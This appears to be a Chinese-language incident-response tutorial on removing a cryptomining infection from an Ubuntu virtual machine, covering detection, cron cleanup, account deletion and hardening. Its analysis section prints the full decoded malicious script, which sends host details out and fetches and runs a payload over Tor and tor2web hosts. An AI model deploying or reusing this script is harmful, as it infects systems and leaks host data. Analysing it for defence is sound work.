虚拟机内网:病毒程序清理

病毒特征与检测

  • 异常进程:未知的长命令字符串占用全部CPU资源
  • 负载表现:8核机器平均负载达20(超过安全阈值2.5倍)
  • 攻击方式:加密脚本+定时任务+隐藏进程
  • 病毒路径/home/ubuntu 和临时文件系统

清理步骤

1. 检测与分析

1
2
3
4
5
# 查看CPU占用情况
top -d 1

# 确认异常进程用户
ps aux | grep "异常命令字符串"

2. 隔离攻击源

1
2
3
4
5
6
7
8
# 切换到攻击用户
su ubuntu

# 查看定时任务
crontab -l

# 输出示例
*/3 * * * * /home/ubuntu/.config/systemd/.systemd-service.sh

3. 恶意脚本分析

1
JMU8YMVxV5dkRFarPxpICIQYk4QUxP

解密后脚本内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "wdtiia7l7nhvj4dlwt64coa6y2ujyiv3w7g2pmsf5oidnfgkczeumead")
sockz() {
n=(dns.twnic.tw doh-ch.blahdns.com doh-de.blahdns.com doh-fi.blahdns.com doh-jp.blahdns.com doh.li doh.pub doh-sg.blahdns.com fi.doh.dns.snopyta.org hydra.plan9-ns1.com)
p=$(echo "dns-query?name=relay.tor2socks.in")
q=${n[$((RANDOM%${#n[@]}))]}
s=$($c https://$q/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|tail -1)}
fexe() {
for i in . $HOME /usr/bin $d /var/tmp;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done}
u() {
sockzf=/int.$(uname -m)x=./$(date|md5sum|cut -f1 -d-)
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
chmod +x $x;$x;rm -f $x}
for h in tor2web.in tor2web.it
do
if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then
fexe;u $t.$h
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)
else
break
fi
done

4. 清除病毒进程

1
2
3
4
5
# 获取所有ubuntu进程ID并结束
ps -ef | grep ubuntu | awk '{print $2}' | xargs kill -9

# 确认进程清除
ps -ef | grep ubuntu

5. 文件系统清理

1
2
3
4
5
6
7
# 删除用户目录
rm -rf /home/ubuntu
ls -l /home # 确认删除成功

# 清理临时目录
cd /var/tmp && rm -rf systemd-private-*
cd /tmp && rm -rf systemd-private-* && rm -rf .pg_runn

6. 清除定时任务

1
2
3
4
5
6
7
8
# 进入ubuntu用户环境
su ubuntu

# 清除所有定时任务
crontab -r

# 退出返回root
exit

7. 删除攻击账户

1
2
3
4
5
# 永久删除账户
userdel ubuntu

# 验证用户删除
grep ubuntu /etc/passwd

关键操作说明

恶意脚本技术解析

组件 功能 防御手段
TOR网络通信 通过.onion域名隐藏C2服务器 阻断TOR节点流量
DNS隧道 使用DOH协议绕过传统DNS监控 部署加密DNS检测
文件自销毁 执行后立即删除二进制文件 内存行为监控
进程隐藏 使用/dev/shm和/X11-unix隐藏 检测非常规路径进程
多重传播 通过临时目录横向移动 限制/tmp和/var/tmp执行权限

验证清理效果

1
2
3
4
5
6
7
8
# 监控系统负载变化
watch -n 1 "uptime; top -b -n1 | head -20"

# 检查异常网络连接
nethogs -t

# 扫描剩余恶意文件
clamscan -ir --exclude-dir="^/sys|^/proc" /

系统加固建议

1
2
3
4
5
6
7
8
9
10
# 禁用非必要定时任务
systemctl mask cron.service --now

# 限制用户权限
usermod -s /sbin/nologin ubuntu

# 设置文件监控
auditctl -w /home/ -p war -k user_home
auditctl -w /tmp/ -p war -k tmp_dir
auditctl -w /var/tmp/ -p war -k var_tmp

补救措施流程图

1
2
3
4
5
6
7
8
9
10
11
graph TD
A[发现高负载] --> B[识别异常进程]
B --> C{是否为恶意进程?}
C -->|是| D[终止相关进程]
C -->|否| E[继续监控]
D --> F[清除定时任务]
F --> G[删除用户文件]
G --> H[清理临时目录]
H --> I[删除用户账户]
I --> J[系统安全加固]
J --> K[完成清理]

通过以上步骤可彻底清除该加密货币挖矿病毒,建议后续配置入侵检测系统(如Wazuh)和定期漏洞扫描预防再次感染。